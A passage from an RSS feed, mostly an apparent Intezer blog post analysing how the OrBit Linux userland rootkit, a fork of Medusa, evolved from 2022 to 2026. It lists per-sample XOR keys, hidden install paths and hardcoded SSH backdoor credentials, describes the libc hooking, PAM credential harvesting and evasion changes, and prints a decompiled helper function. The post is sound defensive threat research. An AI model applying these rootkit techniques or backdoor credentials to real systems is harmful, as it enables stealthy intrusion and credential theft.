&lt;li&gt;Microsoft is introducing passkey support for Windows devices to enable phishing-resistant, passwordless sign-ins for Microsoft Entra–protected resources, including on personal and unmanaged devices. &lt;/li&gt;



&lt;li&gt;Passkeys are not transmitted over the network making them more difficult to be stolen via phishing, credential stuffing, or malware, significantly reducing reliance on traditional passwords. &lt;/li&gt;



&lt;li&gt;This increases protections against Entra SSO and software-as-a-service targeted credential theft campaigns.  &lt;/li&gt;



&lt;li&gt;Microsoft is extending passwordless authentication beyond corporate managed devices, allowing it to be implemented on personal systems as well.  &lt;/li&gt;
&lt;/ul&gt;&lt;br/&gt;&lt;br/&gt;&lt;a href=&quot;mailto:csirt@frsecure.com&quot;&gt;&lt;img src=&quot;https://projecthyphae.com/wp-content/uploads/2023/06/hyphae-cta.jpg&quot; alt=&quot;Reach out to our incident response team for help&quot; title=&quot;&quot;/&gt;&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;</content:encoded>
</item>
<item>
<title>OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments</title>
<link>https://intezer.com/blog/orbit-returns/</link>
<guid isPermaLink="false">uWX-xHAgVb2rnvCCkokMPfLGmM0zo-wfpVgVog==</guid>
<pubDate>Fri, 15 May 2026 01:11:53 +0000</pubDate>
<description>Explore how OrBit, a two-stage malware, has changed over the last 4 years and why it matters for defenders. The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.</description>
<content:encoded>&lt;p&gt;&lt;span&gt;In July 2022, we &lt;/span&gt;&lt;a href=&quot;https://intezer.com/blog/orbit-new-undetected-linux-threat/&quot;&gt;&lt;span&gt;published the first analysis&lt;/span&gt;&lt;/a&gt;&lt;span&gt; of OrBit, a then-undocumented Linux userland-rootkit that stood out for its comprehensive libc hooking, SSH backdoor access, and PAM-based credential harvesting. At the time, OrBit appeared as a single sample with a single operator fingerprint, and the codebase itself looked customized.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;It wasn’t. As we will show below, OrBit is a repackaged and selectively weaponized build of &lt;/span&gt;&lt;a href=&quot;https://github.com/ldpreload/Medusa&quot;&gt;&lt;span&gt;Medusa&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, an open-source LD_PRELOAD rootkit published on GitHub in December 2022. The story of OrBit’s four-year evolution is not one of novel development; it’s the story of how a publicly available rootkit was forked, configured, and redeployed.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Nearly four years later, OrBit is still in the wild, and it has not stood still. Hunting across VirusTotal, we pulled more than a dozen samples spanning 2022 through 2026 and walked each one through static and differential analysis. We discovered two parallel lineages: a full-featured “Lineage A” build that tracks closely with the 2022 original, and a lite “Lineage B” fork that drops entire capability domains (PAM, pcap, TCP-port hiding) in exchange for a smaller footprint. Along the way, the operators rotate XOR keys, shuffle install paths, swap backdoor credentials, add auditd-evasion hooks, and eventually bolt on a service-side PAM impersonation primitive.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;This blog picks up where the 2022 analysis left off. We focus on what changed, when, and why it matters for defenders. For each epoch, we enumerate the samples, call out the lineage, and break down the meaningful changes: credential changes, hook-set diffs, new evasion behavior, and operator tradecraft.&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;&lt;span&gt;Background: What is OrBit?&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span&gt;For readers unfamiliar with the original analysis, OrBit is a Linux userland-rootkit deployed as a shared library (.so) that achieves persistence by patching the dynamic linker, specifically modifying &lt;/span&gt;&lt;span&gt;ld.so&lt;/span&gt;&lt;span&gt; to ensure the malicious library is loaded into every process on the system. It operates as a passive implant with no command-and-control communication; instead, the attacker connects in through an SSH backdoor. Once installed, OrBit hooks into PAM functions to harvest credentials from SSH and sudo authentication attempts, storing the captured passwords locally.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Its evasion capabilities are comprehensive, hooking over forty libc functions to hide files, processes, and network connections from administrators and security tools alike. The malware stores its harvested credentials and configuration data in &lt;/span&gt;&lt;span&gt;&lt;strong&gt;/lib/libntpVnQE6mk/&lt;/strong&gt;&lt;/span&gt;&lt;span&gt;, a directory that remains invisible to standard enumeration thanks to the rootkit’s own hooks.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;July 2022&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;SSH Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;SSH Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Dropper&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;40b5127c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libntpVnQE6mk/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;2l8&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;c4ss0ul3tt3&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;66&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;f1612924&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;We will refer to this variant as Lineage A “Full” build of OrBit.&lt;/span&gt;&lt;/p&gt;&lt;h2&gt;&lt;span&gt;OrBit variants through the years&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span&gt;In our research, we collected samples from VirusTotal. Unlike PE files, ELF files don’t include a compilation timestamp, so we started by aggregating the samples by the date they were submitted to VirusTotal. To track the samples on the blog, we use the first 8 characters of each sample’s SHA-256. At the bottom of the blog, you can find the full list of IOCs.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;December 2022&lt;/span&gt;&lt;/h3&gt;&lt;p&gt;&lt;span&gt;The first version shows a slight change: the username and password for the SSH connection, and the exported functions. Credential mechanism shift: &lt;/span&gt;&lt;span&gt;40b5127c&lt;/span&gt;&lt;span&gt; resolved the backdoor username dynamically via the getpwuid hook; &lt;/span&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;span&gt; dropped that hook entirely and hardcodes &lt;/span&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;span&gt; directly in the XOR-encrypted string table. The working folder was changed to &lt;/span&gt;&lt;b&gt;libseconf&lt;/b&gt;&lt;span&gt;. For the most part, the later variants will use this path.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;All other capabilities are identical: file I/O interception, stat hiding, PAM credential capture, TCP port hiding (alloc_tcp_ports/remove_port/tcp_port_hidden), load monitoring (.showload/.maxload), pcap sniffing, LD_PRELOAD management, log suppression, and process hiding.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The transition from 2022 to 2023 is essentially a redeployment with new credentials and a more convincing install path, plus a minor simplification (dropping dynamic UID lookup in favor of a hardcoded username).&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The rootkit’s hook surface stayed stable.&lt;/span&gt;&lt;/p&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Dropper&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;asdfasdf&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;67&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;53&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;8ea420d9&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;&lt;span&gt;Samples From 2023&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Dropper&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;d419a9b1&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/&lt;span&gt;lib/fuckwhitehatshome/&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;fuckwhitehatsuser&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;f&lt;span&gt;uckwhitehatspass&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;67&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;53&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;296d28eb&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;asdfasdf&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;65&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;3ba6c174&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;&lt;span&gt;(not present)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;49&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;26082cd3&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;4203271c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;b4ph0m3t0&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;&lt;span&gt;(not present)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;49&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;The d419a9b1 sample stands out for the operator’s choice of the install path (&lt;/span&gt;&lt;span&gt;/lib/fuckwhitehatshome/&lt;/span&gt;&lt;span&gt;) and the SSH username and password. No other known samples use these strings, suggesting a different operator or persona authored this particular build rather than it simply being a different deployment of the same toolkit. Functionally, it carries the full 2022-era hook set, with 65 exports.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The &lt;/span&gt;&lt;span&gt;296d28eb&lt;/span&gt;&lt;span&gt; sample is a full-featured build that uses the libseconf path and the same SSH credentials as &lt;/span&gt;&lt;span&gt;ec7462c3&lt;/span&gt;&lt;span&gt;. But this sample also has an evolutionary step: dropped TCP port hiding, added the exported &lt;/span&gt;&lt;span&gt;xread&lt;/span&gt;&lt;span&gt; function. This is not an LD_PRELOAD hook on a system library; it’s a wrapper that calls &lt;/span&gt;&lt;span&gt;syscall(SYS_read)&lt;/span&gt;&lt;span&gt; directly, bypassing the rootkit’s own hooked &lt;/span&gt;&lt;span&gt;read()&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The rootkit hooks the libc read() function; the hook filters out rootkit artifacts from files such as/proc/net/tcp and directory listings. Some C programs, such as &lt;/span&gt;&lt;a href=&quot;https://github.com/git/git/blob/master/wrapper.c#L228&quot;&gt;&lt;span&gt;Git&lt;/span&gt;&lt;/a&gt;&lt;span&gt;, define their own internal&lt;/span&gt;&lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;span&gt;xread() helper that wraps read() to handle partial reads and EINTR. Normally, these internal helpers call libc read(), which the rootkit intercepts and filters. By exporting its own xread, which directly calls syscall (&lt;/span&gt;&lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;&lt;span&gt;SYS_read&lt;/span&gt;&lt;/a&gt;&lt;span&gt;), the rootkit shadows these program-internal helpers with a version that bypasses its own read hook entirely. This is a compatibility fix: without it, any program that defines xread would receive the rootkit’s filtered output through its core I/O path, potentially corrupting SSH protocol streams, breaking git operations, or causing other malfunctions that could expose the rootkit’s presence. The hook ensures that programs continue to function normally while the rootkit’s read interception remains active for standard libc callers.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;This variant is still part of Lineage A.&lt;/span&gt;&lt;/p&gt;&lt;pre&gt;&lt;span&gt;&lt;code&gt;00417249    uint64_t xread(int32_t fd, int64_t buf, int32_t count)

00417249    {
00417249        int32_t i = count;
0041725b        int32_t bytes_read = 0;
00417262        int32_t var_c = 0;
00417262        
004172ad        do
004172ad        {
0041728a            // SYS_read
0041728a            int32_t read_result = syscall(0, (uint64_t)fd, buf, (uint64_t)i);
0041728a            
00417296            if (read_result &amp;lt;= 0) 00417298 return (uint64_t)bytes_read; 00417298 004172a0 bytes_read += read_result; 004172a6 i -= read_result; 004172ad } while (i &amp;gt; 0);
004172ad        
004172af        return (uint64_t)bytes_read;
00417249    }&lt;/code&gt;&lt;/span&gt;&lt;/pre&gt;&lt;p&gt;&lt;span&gt;           The exported xread function in sample &lt;/span&gt;&lt;span&gt;296d28eb&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;&lt;span&gt;3ba6c174 / 4203271c: Lineage B lite build&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;Both files, 3ba6c174 and 4203271c, represent the first appearance of Lineage B, a deliberately lite fork of the OrBit rootkit. Both are dynamically linked shared objects using the standard 0xA2 XOR key and installed in &lt;/span&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;span&gt;, but they export only 54 functions, compared to the 67 in their closest Lineage A contemporaries (d419a9b1, ec7462c3). The 13 removed exports strip out three entire capability domains: network port-hiding (alloc_tcp_ports, remove_port, tcp_port_hidden, clean_ports), PAM credential interception (pam_authenticate, pam_acct_mgmt, pam_open_session, pam_get_password), and packet capture (pcap_loop, pcap_packet_callback). The string table reflects this (.logpam and .udp are absent), though .ports, .hosts, and sshpass2.txt are retained. This reduced feature set suggests they were purpose-built for different target environments where a smaller footprint or more limited functionality was either sufficient or preferred.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;The most notable change is the complete absence of a backdoor password. Every Lineage A sample embeds a password in its XOR-encrypted string block, but in both &lt;/span&gt;&lt;span&gt;3ba6c174&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;4203271c&lt;/span&gt;&lt;span&gt;, the password field is missing. Each sample carries a distinct username (&lt;/span&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;span&gt; and &lt;/span&gt;&lt;span&gt;b4ph0m3t0&lt;/span&gt;&lt;span&gt;, respectively), and these are the only byte-level differences between the two binaries. This pattern of 54 exports, no password, no PAM/pcap hooks, held consistent across all subsequent Lineage B samples through 2024.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Samples From 2024&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Dropper&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;eea274ed&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;0xAA&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib64/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Y0u4reCu6e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;1qaz@WSX3edc123&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;66&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;0xAA&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/locate/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Y0u4reCu6e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;1qaz@WSX3edc123&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;66&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;a34299a1&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;rebel&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;&lt;span&gt;(not present)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;56&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;49&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;b1dd18a6&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Gestuff&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;&lt;span&gt;(not present)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;49&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;fc2e0cb6&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;989f7eb4&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/&lt;span&gt;lib/libseconf/&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;i&gt;&lt;span&gt;(not present)&lt;/span&gt;&lt;/i&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;49&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;48a68d05&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;span&gt;2024 is the most diverse epoch in OrBit’s timeline, with both lineages active simultaneously and an encryption key change in the Lineage A branch.&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;&lt;span&gt;eea274ed / a6138638: Lineage A, 0xAA key rotation&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;These two samples belong to the same lineage: identical XOR key (0xAA is a break from the long-standing 0xA2), identical credentials (&lt;/span&gt;&lt;span&gt;&lt;span&gt;Y0u4reCu6e&lt;/span&gt;&lt;span&gt; / &lt;/span&gt;&lt;span&gt;1qaz@WSX3edc123&lt;/span&gt;&lt;/span&gt;&lt;span&gt;), and identical hook count (54). The only structural difference is the install path: &lt;/span&gt;&lt;span&gt;/lib64/libseconf/&lt;/span&gt;&lt;span&gt; versus &lt;/span&gt;&lt;span&gt;/lib/locate/&lt;/span&gt;&lt;span&gt;. This is probably a deliberate path rotation to evade detections anchored on the previously documented &lt;/span&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;span&gt; directory. Credentials are stored inline in the XOR-encrypted block rather than written to &lt;/span&gt;&lt;span&gt;sshpass.txt&lt;/span&gt;&lt;span&gt;, representing a shift in the credential storage model. Both samples also have a reduced hook for the’ execve’ function: the &lt;/span&gt;&lt;span&gt;execve&lt;/span&gt;&lt;span&gt; hook handles persistence maintenance (apt/yum), output sanitization (dmesg), and ldd defeat. Compared to other samples in the lineage, it is a reduced feature set: no strace interception, no IP/iptables hooks, no command logging.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;Despite sharing the same hook count, the two samples do not share the same hook set. &lt;/span&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;span&gt; swaps read/write for readdir_r/readdir64_r, indicating a targeted adjustment to the directory-hiding mechanism. A string-level diff reveals more changes: &lt;/span&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;span&gt;Credential harvesting is saved in &lt;/span&gt;&lt;span&gt;remote.txt&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span&gt; This variant captures only SSH logins, not sudo sessions (&lt;/span&gt;&lt;span&gt;[sudo] pass&lt;/span&gt;&lt;span&gt; is missing).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span&gt;The result is 52 decoded XOR strings in &lt;/span&gt;&lt;span&gt;eea274ed&lt;/span&gt;&lt;span&gt; versus 47 in &lt;/span&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;span&gt;. Both samples retain &lt;/span&gt;&lt;span&gt;.udp&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;.pts&lt;/span&gt;&lt;span&gt;, and the credential pair, preserving the core backdoor functionality. The removals target logging and forensic-capture features, suggesting &lt;/span&gt;&lt;span&gt;a6138638&lt;/span&gt;&lt;span&gt; was tailored for a deployment where a lighter footprint was preferred.&lt;/span&gt;&lt;/p&gt;&lt;h4&gt;&lt;span&gt;a34299a1 / b1dd18a6 / 989f7eb4: Lineage B continuation&lt;/span&gt;&lt;/h4&gt;&lt;p&gt;&lt;span&gt;These samples continue the 54-export lite build lineage that first appeared in 2023 with &lt;/span&gt;&lt;span&gt;&lt;span&gt;3ba6c174&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;4203271c&lt;/span&gt;&lt;/span&gt;&lt;span&gt;. The hook set is identical (49 hooks), the XOR key remains 0xA2, and the same capability domains are absent: no PAM credential interception, no pcap sniffing, no TCP port hiding. The password field is still missing from the binary. Each sample carries a distinct username (&lt;/span&gt;&lt;span&gt;&lt;span&gt;rebel&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;Gestuff&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;adm1n&lt;/span&gt;,&lt;/span&gt;&lt;span&gt; respectively), consistent with the Lineage B pattern of per-deployment username rotation, with no corresponding password.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;989f7eb4&lt;/span&gt;&lt;span&gt; is the payload extracted from the &lt;/span&gt;&lt;span&gt;48a68d05&lt;/span&gt;&lt;span&gt; dropper. It was not on VT; we uploaded it.&lt;/span&gt;&lt;/p&gt;&lt;h3&gt;&lt;span&gt;Samples From 2025&lt;/span&gt;&lt;/h3&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;b&gt;Hash&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;XOR&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Working dir&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Username&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Password&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Exports&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;# Hooks&lt;/b&gt;&lt;/th&gt;&lt;th&gt;&lt;b&gt;Role&lt;/b&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;8e83cbb2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/&lt;span&gt;lib/libseconf/&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;infinity&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;302010&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;66&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;payload .so&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;span&gt;2b2eeb22&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;0xA2&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;/lib/libseconf/&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;adm1n&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;asdfasdf&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;54&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;&lt;span&gt;payload .so (extracted from 